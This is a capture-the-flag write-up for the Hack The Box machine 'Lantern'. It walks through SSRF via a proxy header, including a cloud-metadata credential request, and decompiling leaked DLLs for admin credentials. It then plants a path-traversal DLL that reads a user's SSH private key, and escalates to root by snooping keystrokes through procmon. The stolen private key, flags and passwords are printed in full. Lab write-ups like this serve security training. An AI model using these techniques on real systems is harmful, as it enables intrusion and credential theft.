Skip to content
HTB • CTF • Lantern • Write-Up

HTB • CTF • Lantern • Write-Up

Published: at 08:54 PM

Table of contents

Open Table of contents

Info

CTF URL: https://app.hackthebox.com/machines/Lantern

IP: 10.10.11.29

Difficulty: Hard

Reconnaissance

NMAP

nmap -p- -sS -sC -sV 10.10.11.29 -v --min-rate 10000

PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp    open     http        Skipper Proxy
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Did not follow redirect to http://lantern.htb/
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Content-Length: 207
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 22 Aug 2024 06:43:39 GMT
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Length: 225
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 22 Aug 2024 06:43:34 GMT
|     Location: http://lantern.htb/
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: OPTIONS, GET, HEAD
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 22 Aug 2024 06:43:34 GMT
|_    Server: Skipper Proxy
|_http-server-header: Skipper Proxy
3000/tcp  open     ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 500 Internal Server Error
|     Connection: close
|     Content-Type: text/plain; charset=utf-8
|     Date: Thu, 22 Aug 2024 06:43:38 GMT
|     Server: Kestrel
|     System.UriFormatException: Invalid URI: The hostname could not be parsed.
|     System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
|     System.Uri..ctor(String uriString, UriKind uriKind)
|     Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
|     Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:43:44 GMT
|     Server: Kestrel
|   Help:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:43:39 GMT
|     Server: Kestrel
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:43:44 GMT
|     Server: Kestrel
|   SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:43:59 GMT
|     Server: Kestrel
|   TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:44:00 GMT
|_    Server: Kestrel

add lantern.htb to /etc/hosts

WEB - 80

A company that provides IT solutions.

There is the following page:

_ it allows sending pdfs only.

But, I do not to what location they are uploaded.

SSRF

The server is Skipper Proxy which is vulnerable to SSRF when we add the following Header: X-Skipper-Proxy: http://127.0.0.1:3000.

8000 returns 200, it may mean that it is the same service as the one at 80.

Let’s send the following request to 5000:

GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close

_ This service is called InternaLantern. And the framework is Blazor (as at port 3000): <div id="blazor-error-ui"> is found in the source. So. some internal app is over there.

WEB - 3000

A login Form. In page’s source code: ...<script src="_framework/blazor.server.js"></script>..., which means a website uses Blazor, a web framework for building interactive web UIs using C# and .NET.

After submitting login form, the request is not sent. Seems like it is checked on client side, or there is a web-socket _ Intercepting requests in Burp Suite confirms that it is Web Socket: _

We can use the following plugin for Burp Suite:

It allows reading Blazorpack messages.

Blazor

DLLs

I found the following:

InternaLantern.pdb

Here I found /_framework/InternaLantern.pdb - program database. To download:

curl http://lantern.htb/_framework/InternaLantern.pdb -H 'Host: lantern.htb' -H 'X-Skipper-Proxy: http://127.0.0.1:5000' --output InternaLantern.pdb

To read it, I will use pdbdump.exe

regsvr32 msdia140.dll
pdbdump.exe InternaLantern.pdb

_ But, unfortunately nothing interesting :(

There is another app - https://github.com/icsharpcode/ILSpy I opened the .pdb file and it allowed get me more useful information: _ and _

InternaLantern.dll

It may leak something.

curl http://lantern.htb/_framework/InternaLantern.dll -H 'Host: lantern.htb' -H 'X-Skipper-Proxy: http://127.0.0.1:5000' --output InternaLantern.dll

There a lot more interesting files: _

 new Employee
     {
      Uid = "JFMDK",
      Name = "John",
      SecondName = "Smith",
      BirthDay = new DateTime(2000, 6, 1).ToShortDateString(),
      JoinDate = new DateTime(2022, 8, 9).ToShortDateString(),
      Salary = 120000,
      VacationsStart = new DateTime(2023, 12, 1).ToShortDateString(),
      VacationsEnd = new DateTime(2023, 12, 5).ToShortDateString(),
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20="))
     },
     new Employee
     {
      Uid = "PPAOS",
      Name = "Anny",
      SecondName = "Turner",
      BirthDay = new DateTime(1989, 1, 11).ToShortDateString(),
      JoinDate = new DateTime(2022, 2, 11).ToShortDateString(),
      Salary = 150000,
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ=="))
     },
     new Employee
     {
      Uid = "UAYWP",
      Name = "Catherine",
      SecondName = "Rivas",
      BirthDay = new DateTime(2001, 11, 7).ToShortDateString(),
      JoinDate = new DateTime(2023, 3, 1).ToShortDateString(),
      Salary = 100000,
      VacationsStart = new DateTime(2024, 2, 22).ToShortDateString(),
      VacationsEnd = new DateTime(2024, 2, 23).ToShortDateString(),
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20="))
     },
     new Employee
     {
      Uid = "GMNZQ",
      Name = "Lara",
      SecondName = "Snyder",
      BirthDay = new DateTime(1999, 4, 4).ToShortDateString(),
      JoinDate = new DateTime(2019, 11, 11).ToShortDateString(),
      Salary = 200000,
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ=="))
     },
     new Employee
     {
      Uid = "XZCSF",
      Name = "Lila",
      SecondName = "Steele",
      BirthDay = new DateTime(1997, 12, 8).ToShortDateString(),
      JoinDate = new DateTime(2019, 12, 9).ToShortDateString(),
      Salary = 130000,
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20="))
     },
     new Employee
     {
      Uid = "POMBS",
      Name = "Travis",
      SecondName = "Duarte",
      BirthDay = new DateTime(1999, 7, 23).ToShortDateString(),
      JoinDate = new DateTime(2024, 1, 21).ToShortDateString(),
      Salary = 90000,
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE="))
     }

they give credentials by decoding from base64: _ Found!:

Admin Dashboard

Voila! and we are in admin portal! _

Some Errors

There are some useful error messages: _ it may mean File Inclusion.

_

Found a user:

A python backend

There is a python code: app.py

from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os

app=Flask("__name__")

@app.route('/')
def index():
    if request.headers['Host'] != "lantern.htb":
        return redirect("http://lantern.htb/", code=302)
    return render_template("index.html")

@app.route('/vacancies')
def vacancies():
    return render_template('vacancies.html')

@app.route('/submit', methods=['POST'])
def save_vacancy():
    name = request.form.get('name')
    email = request.form.get('email')
    vacancy = request.form.get('vacancy', default='Middle Frontend Developer')

    if 'resume' in request.files:
        try:
            file = request.files['resume']
            resume_name = file.filename
            if resume_name.endswith('.pdf') or resume_name == '':
                filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
                upload_folder = os.path.join(os.getcwd(), 'uploads')
                destination = '/'.join([upload_folder, filename])
                file.save(destination)
            else:
                return "Only PDF files allowed!"
        except:
            return "Something went wrong!"
    return "Thank you! We will conact you very soon!"

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
    lang = request.args.get('lang')
    file_ext = request.args.get('ext')
    try:
            return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
    except:
            return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000)

PrivacyAndPolicy has one potentially useful information: [email protected]

Let’s try to do smth with Resumes.

curl -X POST http://lantern.htb/submit \
  -F "name=a" \
  -F "email=a" \
  -F "vacancy=a" \
  -F "[email protected]"
# have some resume.pdf in the same directory

after the request should be saved in: /uploads/resume-a-a-latern.pdf, and it is not there. :(.

Nothing again.

DLL Upload

Found! We can upload the dll to desired place, so we gonna upload to the same place as other Components. We gonna read tomas’s id_rsa.

Component.cs

using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using Microsoft.AspNetCore.Components.Web;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;

namespace exp
{
  public class Component : ComponentBase
  {
    public string LogType = "access";
    public string ButColor = "#558beb";
    private List<string> fileText = new List<string>();

    protected override void BuildRenderTree(
    RenderTreeBuilder __builder)
    {
      __builder.OpenElement(0, "span");
      __builder.AddAttribute(1, "class", "border rounded");
      __builder.AddAttribute(2, "style", "border-color:#84878C!important; background:#cdcdcd");
      __builder.AddAttribute(3, "b-afq0fxh21g");
      __builder.OpenElement(4, "div");
      __builder.AddAttribute(5, "class", "row");
      __builder.AddAttribute(6, "b-afq0fxh21g");
      __builder.OpenElement(7, "div");
      __builder.AddAttribute(8, "class", "col-1");
      __builder.AddAttribute(9, "b-afq0fxh21g");
      __builder.OpenElement(10, "button");
      __builder.AddAttribute(11, "type", "submit");
      __builder.AddAttribute(12, "class", "btn btn-primary mb-2");
      __builder.AddAttribute(13, "style", "background-color:#cdcdcd; border-color:" + this.ButColor + "; color:#000; font-weight:500; margin-top: 10px; color: " + this.ButColor + ";");
      __builder.AddAttribute<MouseEventArgs>(14, "onclick", EventCallback.Factory.Create<MouseEventArgs>((object) this, (Action) (() => this.ReadLog(this.LogType))));
      __builder.AddAttribute(15, "b-afq0fxh21g");
      __builder.AddContent(16, this.LogType);
      __builder.CloseElement();
      __builder.CloseElement();
      __builder.CloseElement();
      __builder.AddMarkupContent(17, "\n\n\n    ");
      __builder.OpenElement(18, "div");
      __builder.AddAttribute(19, "class", "border rounded");
      __builder.AddAttribute(20, "style", " width: 100%; height: 500px; background:#fff; margin-bottom: 10px; overflow-x: auto;");
      __builder.AddAttribute(21, "b-afq0fxh21g");
      if (this.fileText.Any<string>())
      {
        __builder.OpenElement(22, "div");
        __builder.AddAttribute(23, "class", "php-code-container border rounded");
        __builder.AddAttribute(24, "style", " width: 100%; height: 500px; background:#fff;");
        __builder.AddAttribute(25, "b-afq0fxh21g");
        __builder.OpenElement(26, "pre");
        __builder.AddAttribute(27, "b-afq0fxh21g");
        foreach (string textContent in this.fileText)
        {
          __builder.OpenElement(28, "code");
          __builder.AddAttribute(29, "class", "php");
          __builder.AddAttribute(30, "b-afq0fxh21g");
          __builder.AddContent(31, textContent);
          __builder.CloseElement();
          __builder.AddMarkupContent(32, "\n                    <br b-afq0fxh21g>");
        }
        __builder.CloseElement();
        __builder.CloseElement();
      }
      __builder.CloseElement();
      __builder.CloseElement();
    }

    public void ReadLog(string filepath)
{
    this.fileText.Clear();
    int num = 0;
    if (File.Exists("/var/www/sites/skipper/logs/" + filepath + ".log"))
    {
        string str1;
        try
        {
            str1 = new StreamReader(new MemoryStream(File.ReadAllBytes("/home/tomas/.ssh/id_rsa")), Encoding.UTF8, true).ReadToEnd();
        }
        catch
        {
            str1 = File.ReadAllText(filepath, Encoding.UTF8);
        }
        foreach (string str2 in str1.Split("\n", StringSplitOptions.RemoveEmptyEntries))
        {
            ++num;
            this.fileText.Add(str2);
            if (num >= 200)
                break;
        }
    }
    else
    {
        this.fileText.Add("Unable to read log file.");
    }
    this.ChangeType();
}


    public void ChangeType()
    {
      if (this.LogType == "access")
      {
        this.LogType = "application";
        this.ButColor = "#4c9b44;";
      }
      else
      {
        this.LogType = "access";
        this.ButColor = "#558beb";
      }
    }

    protected override void OnInitialized() => this.ReadLog("access");
  }
}
dotnet new classlib -n exp
vim exp/Component.cs
vim exp/exp.csproj
# add the following
<ItemGroup>
    <PackageReference Include="Microsoft.AspNetCore.App" />
</ItemGroup>
# finally
dotnet build -c Debug

The DLL will be in bin, rename it to qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq.dll.

Then Upload the File and catch the request and rename the file as the following:

../../../../../../../../opt/components/exp.dll

Strangely, the renamed in Burp Suite name should be the same length.

and finally _

id_rsa:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
chmod 600 id_rsa
ssh -i id_rsa [email protected]

User.txt

tomas@lantern:~$ cat user.txt
b8b20e4fee243dc2a6d6f80a5e7d39fa

PricEsc to Root

sudo -l
Matching Defaults entries for tomas on lantern:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon
ps aux | grep root
...
root       17608  0.0  0.1   7272  4180 pts/0    Ss+  19:40   0:00 nano /root/automation.sh
...

PID - 17608

sudo /usr/bin/procmon -p 17608
# filter for write

There are some buf with nano write. We need to decode it.

2f 62 61 63 6b 75 70 2e 73 68 65 63 68 0d 20 08 33 45 64 64 74 64 77 33 70 4d 42 20 08 20 7c 20 08 20 73 75  64 6f 20 08 20 2e 2f 62 61

which is

/backup.shech
 Q3Eddtdw3pMB . | . sudo . ./ba

Q3Eddtdw3pMB

Root.txt

su root

cat root.txt
315ba1f2091c267ebe826eb184658117

Result